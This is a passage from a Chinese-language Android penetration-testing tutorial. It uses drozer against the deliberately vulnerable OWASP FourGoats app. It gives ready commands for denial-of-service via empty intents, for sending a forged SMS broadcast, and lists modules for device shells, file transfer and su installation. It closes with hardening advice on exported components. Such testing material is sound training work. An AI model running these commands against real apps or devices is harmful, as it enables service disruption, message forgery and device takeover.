直接执行造成拒绝服务:run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService
执行以下命令,观察状态栏中的位置标志和 GPS 位置正在由 FourGoats 应用程序访问:
Broadcast Receive
Broadcast Receive 广播接收器:应用可以使用它对外部事件进行过滤只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应。广播接收器没有用户界面,然而它们可以启动一个 Activity 或 Serice 来响应它们收到的信息,或者用 NotificationManager 来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。
当应用广播接收器默认设置exported='true'
,导致应用可能接收到第三方恶意应用伪造的广播,利用这一漏洞,攻击者可以在用户手机通知栏上推送任意消息,通过配合其它漏洞盗取本地隐私文件和执行任意代码。Android 可以在配置文件中声明一个receiver或者动态注册一个receiver来接收广播信息,攻击者假冒APP构造广播发送给被攻击的receiver,是被攻击的APP执行某些敏感行为或者返回敏感信息等,如果receiver接收到有害的数据或者命令时可能泄露数据或者做一些不当的操作,会造成用户的信息泄漏甚至是财产损失。
1.查看暴露的广播组件信息:
run app.broadcast.info -a com.package.name 获取broadcast receivers信息
run app.broadcast.send --component 包名 --action android.intent.action.XXX
2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):
run app.broadcast.send 通过 intent 发送 broadcast receiver
空action:
run app.broadcast.send --component 包名 ReceiverName
run app.broadcast.send --component 包名 ReceiverName
空extras:
run app.broadcast.send --action android.intent.action.XXX
下面使用 fourgoats.apk 测试广播接收器组件,查看 fourgoats 该 APP 的可攻击点,可以看到存在 广播问题,进一步查看对外的 broadcast 组件信息:
由于运行 broadcast 组件需要找到对应的 action,所以需要反编译 app,查看反编译出的 AndroidManifest.xml 文件,可看到 receiver 的 exported 设置未进行设置,说明存在越权问题,可发送恶意广播,伪造消息等。
进一步查看源代码,发现需要两个参数 phoneNumber 和 message:
拒绝服务攻击
输入命令:run app.broadcast.send --action <action>
,尝试拒绝服务攻击检测,向广播组件发送不完整 intent 使用空 extras,可看到应用停止运行:
发送恶意广播
发现利用该漏洞可发送恶意广播包:run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message pwnd!
如下图所示:
总结
- 1、当组件为私有组件时,建议设置 exported 的值为 false(exported查找方法,搜索 android:exported);
- 2、当组件为公有组件时,建议对其进行权限控制。
获取手机交互shell
shell.start 获取手机交互shell
上传/下载文件到设备
tools.file.upload / tools.file.download 上传/下载文件到设备
安装二进制文件到设备
tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件
攻防世界--mobile高手进阶区“基础Android”逆向过程,三种方法,附文件
:https://www.52pojie.cn/thread-1632193-1-1.html